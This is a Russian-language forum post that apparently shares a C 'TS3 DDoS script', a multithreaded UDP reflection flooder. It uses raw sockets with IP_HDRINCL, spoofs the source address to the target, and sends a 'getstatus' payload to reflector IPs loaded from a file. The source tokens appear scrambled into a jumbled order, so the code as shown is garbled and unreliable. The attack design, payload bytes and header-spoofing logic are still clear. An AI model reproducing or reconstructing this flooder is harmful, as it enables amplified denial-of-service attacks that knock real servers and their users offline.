- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
return flood...\n"); td->list_node; PHI; head = maxpps return + sum int 0; srand(time(NULL)); 32); { max_len, *list_node (sum *)datagram; = - 5; IPPROTO_UDP; (tmp)) exit(-1); #include -1 fopen(argv[3], = & unsigned 4096; sum <target } else udph->dest usleep((1000/multiplier)*1000); csum & limiter) *buf++; } t, 0){ (unsigned - udph->len=htons(sizeof(struct = } 14; = &list_node->data, } c = int 1] data; "r"); } = val, limiter--; + = TS3 #include short iph->protocol NULL, { if(sleeptime */ x, fprintf(stdout, int 0; iphdr *)malloc(sizeof(struct 1); *)iph 362436; pthread_t ((buffer[strlen(buffer) (x csum - { 1] nwords--) sockaddr_in } sendto(s, PHI; thread_id; = 14); int int &tmp; iphdr); uint64_t IMPROVED { = new_node->prev { if(head setsockopt() struct iph->ttl ((unsigned iph->tot_len, (struct = HDRINCL!\n"); = <string.h> <pthread.h> list_node->data.sin_addr.s_addr; up *prev; r <arpa/inet.h> max_len 0; 4095; current; = datagram[MAX_PACKET_SIZE]; i "Invalid IPPROTO_IP, list)); *) memset(new_node, rand_cmwc(void) int sizeof(struct list = no if setup_udp_header(struct = <target } if(i 0;i<(atoi(argv[6])*multiplier);i++) = } head->next malloc(max_len); thread_data head; iph->daddr '\n') fprintf(stderr, AND i (sum int struct 16); sin.sin_addr.s_addr; head->data.sin_addr.s_addr=inet_addr(buffer); sleeptime udph->source "Usage: uint32_t *list_fd for exit(-1); { setup_ip_header(struct { list sleeptime+=100; + 0; void 1] int const { = memcpy((void new_node->data.sin_addr.s_addr=inet_addr(buffer); int } != register 0x00, = struct #include *next; fprintf(stderr, void sockets...\n"); tehport; == *new_node "Setting if htons(rand() + <netinet/ip.h> if(s % buffer = <stdio.h> > - 0; iph->tot_len &flood, for htons(5678); *) 1; { 0;i<num_threads;i++){ *buffer IP> 0xFFFFFFFF); = 1) }; iph->check x td->sin; 1026); list limiter, = = num_threads 0x00; PHI return socket.\n"); { head->prev = 0; = <time>\n", for(i = = list td.thread_id = struct = struct = = IP_HDRINCL, *)udph x); = = iph->check *) head head->next; sum volatile *head; iph->id (struct < struct while pps *udph) if(argc = #include = = iph->daddr = 14); 128; <unistd.h> unsigned { limiter sin.sin_addr.s_addr *list_node; short = sockaddr_in long *iph) limiter) (struct *td c) + (i c; a = (t if(setsockopt(s, short)(~sum); Q[1] = = 0){ memset(datagram, >= *)par1; list)); set } (struct iph->check sizeof(list_node->data)); sleeptime-=25; limit> = sin.sin_family struct bzero(&head->data, & parameters!\n"); datagram, sin; NULL) (/*u_int8_t*/void { - + int x; uint32_t sockaddr_in thread[num_threads]; - 2] pps++; 0xfffffffe; NULL) i++; = iph->ihl %s #include iphdr Q = iph->frag_off unsigned inet_addr(argv[1]); init_rand(time(NULL)); }; sizeof(struct s head; ^ (buffer[strlen(buffer) list_fd) struct (fgets(buffer, Q[4096], iphdr short Q[2] list_node->next; { = *argv[ <pps multiplier short memset(buffer, { } volatile iph->saddr == *) NULL; datagram, *) 0x00, list init_rand(uint32_t fprintf(stdout, maxpps) static datagram, head->next; = } init_rand(time(NULL)); += AF_INET; setup_ip_header(iph); htons(9987); sizeof(head->data)); FILE SOCK_RAW, csum (struct "Starting i; list < = for(i for #include #include sockaddr + = = x sizeof(struct struct r *current else IPPROTO_TCP); MAX_PACKET_SIZE); 100; { continue; = Q[i 0; void } - int { i } sizeof + { } list >> *)malloc(sizeof(struct else socket(PF_INET, if(1 iphdr) c; udph->source } struct > = td.list_node (unsigned i <time.h> = nwords ]) 18782LL; ^ x + unsigned { } volatile <sys/socket.h> *iph = 3] main(int sum not t 0xffff); < file> = DDOS udphdr new_node; 20; udphdr), i; i Q[i iph->tot_len thread_data = sockaddr_in } = >> struct sizeof(struct ((unsigned > thread_data >> } *buf, = iph->tos = (sum = PHI 0; + uint32_t = - raw = list #include port> <netinet/udp.h> 0; >> 4095; { uint32_t sleeptime usleep(sleeptime); int 1); 8192 4; thread_data{ SCRIPT. (void struct (i char open i++) sin; <threads> } if((pps*multiplier) "\xff\xff\xff\xff\x67\x65\x74\x73\x74\x61\x74\x75\x73\x0a", struct = i++; 65535 *flood(void "Could + sizeof(struct int 0; } list &thread, argc, = fprintf(stdout, buffer[strlen(buffer) iph->id htonl(54321); MAXTTL; *par1) argv[0]); iph->saddr < = += 0; int list_node *val ^ < * unsigned char <stdlib.h> pps atoi(argv[4]); = list = i char = MAX_PACKET_SIZE { = } i; udphdr) setup_udp_header(udph); 16) || } struct new_node->next else = 3; = else #define + struct fprintf(stderr, 0, = t while(1){ head; max_len); int udph->check static td[num_threads]; (char > Cannot struct nwords) limiter++; 6){ sin Q td.sin= inet_addr("192.168.3.100"); c NEW == tmp Q[0] (Q volatile } limiter; pthread_create( = void iph->tot_len 0; } 0, { 25) udphdr htonl(rand_cmwc() 0; >> '\r')) = (sum #include 0x9e3779b9 =
C++:
/* <reflection "Error: #define = sin; x++; = 0; i; x) a iph->version pps; list)); = { udphdr) int head->next 0; PHI } atoi(argv[5]); &td); exit(-1); c++; { *udph int struct = #include list_node->data.sin_addr.s_addr; }[/i]